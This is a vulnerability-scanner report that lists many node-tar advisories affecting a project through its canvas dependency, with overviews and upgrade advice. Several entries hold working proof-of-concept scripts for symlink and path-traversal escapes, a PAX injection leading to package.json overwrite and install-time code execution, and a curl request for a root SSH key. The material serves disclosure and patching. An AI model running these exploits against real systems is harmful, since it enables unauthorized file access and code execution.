Vulnerabilities

30 via 39 paths

Dependencies

232

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 30
  • 1
Severity
  • 21
  • 10
Status
  • 31
  • 0
  • 0

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.

Remediation

Upgrade tar to version 7.5.19 or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via decompression without backpressure in src/parse.ts (locations 576-577, 551-555, 343) and unbounded queuing of zero-size entries. When reading from a compressed archive, each input chunk is inflated synchronously and its output is buffered in a paused ReadEntry without any backpressure, so memory consumption is not bounded as long as the total decompressed size stays within the maxDecompressionRatio limit. In the same write path, zero-size entries are queued without limit, compounding the unbounded memory growth. A service that extracts or lists untrusted compressed archives can be forced to consume far more memory than the archive's compressed size implies.

PoC

`exploit_tests/test_vuln_008_*` and `_011_` measure memory for a control archive and an attack archive against the unmodified 7.5.22 build. Output is in `exploit_tests/evidence/`. The tests were run on macOS.

Note: Tests were run on macOS against the unmodified 7.5.22 build.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity

Infinite loop

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.

Remediation

Upgrade tar to version 7.5.18 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.8 or higher.

References

high severity

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack exploitable via stripAbsolutePath(), used by the Unpack class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose linkpath uses a drive-relative path such as C:../target.txt in a malicious tar.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.10 or higher.

References

high severity

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1
    Remediation: Upgrade to canvas@3.0.0.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via tar.x() extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like C:../../../target.txt.

PoC


const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.11 or higher.

References

high severity
new

CRLF Injection

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to CRLF Injection via parseKV in src/pax.ts, which splits PAX extended-header records on newline characters rather than by their declared byte length. An attacker who can embed a newline in any PAX field value - either by crafting an archive directly or by planting a filename containing a newline into a directory that is subsequently archived - causes the parser to treat bytes after the embedded newline as an independent PAX record. This allows forging arbitrary PAX attributes (path, linkpath, size, uid, and others) for an extracted entry, overriding the genuine header-derived values via Object.assign in ReadEntry#slurp. The highest-impact consequence is a path overwrite: an entry's path is rewritten to an attacker-chosen location, writing file content outside the intended extraction directory. On Windows, when used via npm install with strip: 1, this overwrites the installed package's package.json and executes an injected postinstall script, achieving remote code execution.

PoC

PoC bundle (zip): https://github.com/user-attachments/files/33712230/poc-bundle.zip — contains (A) the self-contained POSIX repro, (B) the real-Windows npm RCE kit (build.js + crafted evil-pkg-1.0.0.tgz + poc.ps1), and a win32 strip-bypass simulation.

(A) Extraction, no strip (POSIX & Windows) — path overwrite. A file named é\n21 path=package.json\n is placed in safe/, packed with prefix: 'bundle'. The real entry path is bundle/safe/é..., but the forged path=package.json record overrides it, so extraction writes package.json at the extraction root, escaping the bundle/safe/ prefix and overwriting a pre-existing package.json:

--- archive entries (as parsed) ---
"bundle/safe/" Directory
"bundle/safe/normal.txt" File
"package.json" File              <-- forged, escaped the prefix
--- result ---
out/package.json = "PWNED-BY-ATTACKER ..."
*** VULNERABLE: package.json was overwritten ***

Minimal script (run against dist/ of current HEAD):

const fs = require('fs'), path = require('path'), tar = require('tar')
const root = '/tmp/poc', src = path.join(root,'src'), out = path.join(root,'out')
fs.rmSync(src,{recursive:true,force:true}); fs.rmSync(out,{recursive:true,force:true})
fs.mkdirSync(path.join(src,'safe'),{recursive:true}); fs.mkdirSync(out,{recursive:true})
fs.writeFileSync(path.join(out,'package.json'),'ORIGINAL-CONTENT')
fs.writeFileSync(path.join(src,'safe','é\n21 path=package.json\n'),'PWNED-BY-ATTACKER')
;(async () => {
  await tar.c({ file: path.join(root,'pkg.tar'), cwd: src, prefix: 'bundle' }, ['safe'])
  await tar.x({ file: path.join(root,'pkg.tar'), cwd: out })
  console.log('out/package.json =', fs.readFileSync(path.join(out,'package.json'),'utf8'))
})()

(B) npm install on Windows — postinstall RCE. With npm's strip: 1, the Windows-only normalizeWindowsPath turns an injected x\package.json into two components x/package.json; strip:1 removes x, leaving package.json, which overwrites the installed package's package.json and runs its injected postinstall. Verified on Windows Server 2022, Node v22.14.0, npm 10.9.2 — npm install completed and ran a postinstall that was not present in the published package.json, writing an arbitrary file. (On POSIX, \ is a normal filename byte and the injected value cannot contain /, so npm's strip:1 happens to reduce it to empty — POSIX+npm is incidentally safe; direct node-tar use without strip is not.)

Note: The PoC states it should be run against the dist/ of current HEAD on a POSIX or Windows system with no specific runtime version required for part A, and part B was verified on Windows Server 2022, Node v22.14.0, npm 10.9.2.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Insufficient Verification of Data Authenticity

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the #slurp() method in read-entry.js, which fails to filter the linkpath field when applying Global PAX Extended Header (g-type) fields to parsed entries. header.js correctly excludes linkpath from global headers with a guard clause, but read-entry.js contains no equivalent filter, so an attacker-controlled linkpath value from a Global Extended Header is injected into every subsequent tar.Parser entry - including plain File and Directory entries - with no warning raised even under strict: true. Any application that consumes tar.Parser or tar.list() directly and uses entry.linkpath to build filesystem paths or create symlinks without revalidating the value can be made to read or write files outside the intended directory via a path-traversal symlink.

Note: This is only exploitable in applications that use tar.Parser or tar.list() directly and act on entry.linkpath without bounds-checking; applications that use only tar.x() / tar.extract() are not affected because the Unpack layer's STRIPABSOLUTEPATH guard rejects an escaping linkpath at extraction time.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Insufficient Verification of Data Authenticity

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the #slurp() method in src/read-entry.ts, which fails to filter linkpath when applying PAX Global Extended Header (g-type) fields to parsed entries. A tar archive containing a Global Extended Header with a linkpath field causes that attacker-controlled value to be injected into every subsequent entry returned by tar.Parser, including plain File and Directory entries, with no warning raised even under strict: true. Applications that consume tar.Parser or tar.list() directly and use entry.linkpath to build filesystem paths or create symlinks can be made to read or write files outside the intended directory.

Note: This is only exploitable in applications that use tar.Parser or tar.list() directly and act on entry.linkpath without revalidating it; tar.x() and tar.extract() are not affected because the Unpack layer independently rejects an escaping linkpath.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Interpretation Conflict

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict via ReadEntry in src/read-entry.ts and related parsing logic in src/parse.ts and src/pax.ts, which apply PAX extended-header fields inconsistently. ReadEntry copies the PAX size field onto GNU long-name, long-link, and PAX meta entries, causing the parser to frame those entries differently from other tar implementations such as GNU tar, bsdtar, and Python tarfile. An attacker who supplies an archive can cause node-tar to see a different set of entries than a scanner or policy check run before extraction, allowing a file the check did not see to be extracted. Additionally, maxMetaEntrySize is checked against the PAX-overridden entry.size while the meta buffer accumulates header.size bytes, allowing the memory limit to be exceeded, and PAX records are split on newlines rather than by their length field, allowing a value containing a newline to inject a forged record.

PoC

Each finding has a self-contained test in the attached bundle (`exploit_tests/test_vuln_00N_*.cjs`). Each test runs a normal archive (control) and a crafted one (attack) against the unmodified 7.5.22 build, and records both outputs in `exploit_tests/evidence/`. All tests were run on macOS. Behaviour on Linux and Windows wasn't checked, but the affected code is platform-independent.

Note: Tests were run on macOS against the unmodified 7.5.22 build; the advisory notes the affected code is platform-independent.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via the symlink linkpath containment check in src/unpack.ts, which performs a lexical path.resolve rather than a filesystem-aware resolution. An attacker can craft a tar archive with two entries: a first symlink pointing to . (accepted as within cwd) and a second symlink whose target traverses through the first via s1/../secret.txt. Because path.resolve collapses the .. lexically, the resolved path appears to remain inside the extraction root, but the kernel follows the first symlink before applying .., causing the second symlink to point outside the extraction directory. This allows arbitrary file read of any file accessible to the extracting process by planting a symlink that escapes the extraction root.

PoC

tar 7.5.22, tar-stream 3.2.2, node 22, Docker with --network none. secret.txt sits next to the extraction dir.

const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');
const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');
fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n');
const ents = {
 direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],
 dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],
 hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],
 hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],
 file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],
};
(async()=>{ for (const [k,es] of Object.entries(ents)) {
  fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});
  const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();
  const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));
  const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }
  const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});
  let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}
  console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));
}})();
direct             warn= ["TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
dotdot_via_s1      warn= [] entries= ["s1->.","s2->s1/../secret.txt"] read= s2:"CANARY\n" pwn_outside= false
hardlink_via_s1    warn= ["TAR_ENTRY_ERROR"] entries= ["s1->."] read= - pwn_outside= false
hardlink_abs       warn= ["TAR_ENTRY_INFO","TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
file_through_link  warn= ["TAR_ENTRY_ERROR"] entries= ["s1->.","s2->s1/.."] read= - pwn_outside= false

The direct form is rejected (control). The two-step form extracts with no warning, and reading s2 returns the file outside the root.

Note: The PoC targets tar 7.5.22, tar-stream 3.2.2, and Node.js 22, run inside a Docker container with --network none.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via a backslash separator differential in the symlink linkpath containment check inside Unpack[STRIPABSOLUTEPATH] in src/unpack.ts. On non-Windows hosts, the containment check splits the symlink linkpath on both / and \ (via replaceAll(/\\/g, '/')), treating backslash as a path separator when counting segments. However, the symlink is created with the raw, unmodified linkpath via fs.symlink(entry.linkpath, entry.absolute), where the kernel treats \ as an ordinary filename character. A segment like A\B counts as two segments to the check but one to the kernel, so a .. run that the check believes stays inside the extraction directory actually escapes it at creation and resolution time. An attacker who supplies a tar archive containing a directory entry with a backslash-padded name and a symlink entry whose linkpath exploits this differential can plant a symlink that resolves to an arbitrary path on the same filesystem, enabling arbitrary file read from outside the extraction directory.

Note: This is only exploitable on non-Windows hosts (Linux/macOS), where backslash is not a path separator at the kernel level.

PoC

Non-Windows host (Linux/macOS), default options. Benign: reads a marker file placed in the PARENT of the extraction dir.

Steps: npm i tar@7.5.22 tar-stream node poc.js

poc.js:

const tar = require('tar'), { pack } = require('tar-stream');
const fs = require('fs'), path = require('path'), os = require('os');
const base = fs.mkdtempSync(path.join(os.tmpdir(), 'poc-'));
const cwd = path.join(base, 'extract'); fs.mkdirSync(cwd);
fs.writeFileSync(path.join(base, 'SENTINEL.txt'), 'OUT-OF-TREE'); // in the PARENT of cwd
const p = pack();
p.entry({ name: 'A\\B', type: 'directory', mode: 0o755 });        // one on-disk segment "A\B"
p.entry({ name: 'escape', type: 'symlink', linkname: 'A\\B/../../SENTINEL.txt', mode: 0o777 });
p.finalize();
const chunks = []; p.on('data', c => chunks.push(c)); p.on('end', async () => {
  const tf = path.join(base, 'e.tar'); fs.writeFileSync(tf, Buffer.concat(chunks));
  await tar.x({ file: tf, cwd });                                  // DEFAULT options
  console.log('realpath:', fs.realpathSync(path.join(cwd, 'escape')));
  console.log('read    :', fs.readFileSync(path.join(cwd, 'escape'), 'utf8'));
});

Expected output: cwd/escape resolves to /SENTINEL.txt (the PARENT of the extraction directory) and reads "OUT-OF-TREE".

To show arbitrary read of a real file: use a padding segment of ~50 backslashes plus the matching number of ".." and then "/etc/passwd" as the linkname (and a directory entry named the same padding segment). The resulting symlink resolves to /etc/passwd (verified: first line "root:x:0:0:root:/root:/bin/bash").

Note: The PoC targets a non-Windows host (Linux/macOS) using tar@7.5.22 and tar-stream with default extraction options.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Symlink Attack via the [STRIPABSOLUTEPATH] and [SYMLINK] handlers in src/unpack.ts, which perform only a lexical check on symlink linkpaths during extraction. An attacker can craft a tarball containing a symlink (e.g., l1 -> .) followed by a second symlink whose linkpath traverses through the first (e.g., esc -> l1/../outside.txt). Because path.posix.normalize collapses the l1/.. pair textually before any filesystem lstat is performed, the escape check passes, but the kernel resolves l1/.. through the symlink target, placing the resulting symlink outside the extraction directory. Any subsequent read or write through the extracted tree then reaches arbitrary files or directories above the extraction root with the privileges of the extracting user.

PoC

  1. Build an archive (any tool; e.g. node-tar's own Header):
    const fs = require('fs'), tar = require('tar')
    const hdr = (p, l) => { const b = Buffer.alloc(512); new tar.Header({ path: p, type: 'SymbolicLink', linkpath: l }).encode(b, 0); return b }
    fs.writeFileSync('evil.tar', Buffer.concat([hdr('l1', '.'), hdr('esc', 'l1/../outside.txt'), hdr('escdir', 'l1/..'), Buffer.alloc(1024)]))
    fs.writeFileSync('control.tar', Buffer.concat([hdr('esc', '../outside.txt'), Buffer.alloc(1024)]))
    
  2. Extract with default options and then use the extracted tree (same usage model as the GHSA-9ppj PoC):
    fs.mkdirSync('root/extract', { recursive: true })
    fs.writeFileSync('root/outside.txt', 'ORIGINAL\n'); fs.writeFileSync('root/secret.txt', 'DUMMY-SECRET\n')
    await tar.x({ cwd: 'root/extract', file: 'evil.tar' })          // same with sync: true
    fs.writeFileSync('root/extract/esc', 'PWNED\n')
    console.log(fs.readFileSync('root/outside.txt', 'utf8'))              // PWNED
    console.log(fs.readFileSync('root/extract/escdir/secret.txt', 'utf8')) // DUMMY-SECRET
    

Observed on 7.5.23 (repeated runs, async and sync): control.tar is rejected with "linkpath escapes extraction directory" and outside.txt stays ORIGINAL. evil.tar yields warnings=[], realpath(esc) = root/outside.txt, realpath(escdir) = root; outside.txt is overwritten and the outside secret is read. The deeper variant above overwrote a file three directories above cwd.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the path-reservation bookkeeping code (src/path-reservations.ts and src/unpack.ts). The getDirs function computes every ancestor prefix of each reserved path, and its cost is quadratic in the length of linkpath, which has no depth or length bound and is reserved for every entry type. An attacker can supply an archive of a few hundred bytes compressed to exhaust CPU and crash the Node process (VULN-002), or use very long path components within the maxDepth limit to exhaust memory (VULN-023). Additionally, PathReservations.#reservations entries are never released during extraction, the normalizeUnicode cache is bounded by entry count rather than bytes, and filesFilter memoises every path prefix, all of which cause unbounded memory growth during large or long-running extractions.

PoC

`exploit_tests/test_vuln_002_*`, `_023_`, `_009_`, `_012_` and `_024_`. Each test runs a control archive and an attack archive against the unmodified 7.5.22 build, with output recorded in `exploit_tests/evidence/`. All were run on macOS.

Note: Tests were run on macOS against the unmodified 7.5.22 build.

Remediation

Upgrade tar to version 8.0.2 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the PathReservations.getDirs helper in src/path-reservations.ts, which rebuilds a growing path prefix once per segment at O(N^2) time and memory cost. When the asynchronous Unpack extractor processes a symlink or hardlink entry, it pushes entry.linkpath into reserve(), which maps it through getDirs with no depth bound - the existing maxDepth guard is applied only to entry.path, never to entry.linkpath. An attacker who supplies an archive containing a single symlink entry with a deeply nested relative linkpath (e.g. a/a/.../a) causes the quadratic heap growth to exhaust the V8 heap and abort the Node.js process with an uncatchable fatal out-of-memory error (exit code 134).

Note: This is only exploitable on non-Windows hosts using the default asynchronous extraction API (tar.extract / Unpack); synchronous extraction (sync: true) and the Windows reservation path are not affected.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via PathReservations.getDirs() in src/path-reservations.ts, which materializes every parent-directory prefix of a given path as individual strings, an O(N²) operation. The existing maxDepth guard applies only to entry.path and not to entry.linkpath, so an archive with a shallow entry.path and a deeply nested entry.linkpath bypasses the guard entirely. Processing such an archive forces a catastrophic heap allocation that exhausts the V8 heap, aborting the process with a fatal out-of-memory error that no JavaScript error handler can intercept.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CHECKDECOMPRESSIONRATIO guard in src/parse.ts, which evaluates the decompression ratio only after node zlib has already materialized the full inflated output in memory. Because compressed bytes are credited per write() call rather than per codec output chunk, a single large write front-loads the entire inputSize × 1000 budget before the ratio is checked even once, allowing the inflated data to reside in memory unconstrained. An attacker can supply a 65,608-byte zstd archive that expands to 2 GiB, causing an OOM kill at default settings with no option overrides required. A second path exists where data written after the tar end-of-archive marker is buffered indefinitely because SAW_EOF stops the parse loop from draining but does not prevent BUFFERCONCAT from appending, giving a piping producer no back-pressure signal.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Improper Neutralization of Null Byte or NUL Character

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Improper Neutralization of Null Byte or NUL Character via incomplete NUL-byte truncation in src/header.ts, src/parse.ts, and src/pax.ts when parsing ustar names, GNU long-name/long-link data, and PAX values. The regex .replace(/\0.*/, '') lacks the s flag, so . does not match \n, \r, U+2028, or U+2029. When one of these line terminators follows a NUL byte in an entry name, only the portion up to the line terminator is removed and the NUL remains in the name. During async extraction, the NUL-containing name is passed to fs, which throws an uncaught exception and crashes the process. With the strip option enabled, the surviving characters also cause node-tar's view of the name to differ from other tar implementations.

PoC

`exploit_tests/test_vuln_006_*` and `_021_`. Each runs a control and an attack against the unmodified 7.5.22 build, with output recorded in `exploit_tests/evidence/`. All were run on macOS.

Note: Tests were run against the unmodified 7.5.22 build on macOS.

Remediation

Upgrade tar to version 8.0.0 or higher.

References

high severity
new

Improper Neutralization of Null Byte or NUL Character

  • Vulnerable module: tar
  • Introduced through: canvas@2.11.2

Detailed paths

  • Introduced through: gideon@adrifcastr/Gideon › canvas@2.11.2 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1

Overview

tar is a full-featured Tar for Node.js.

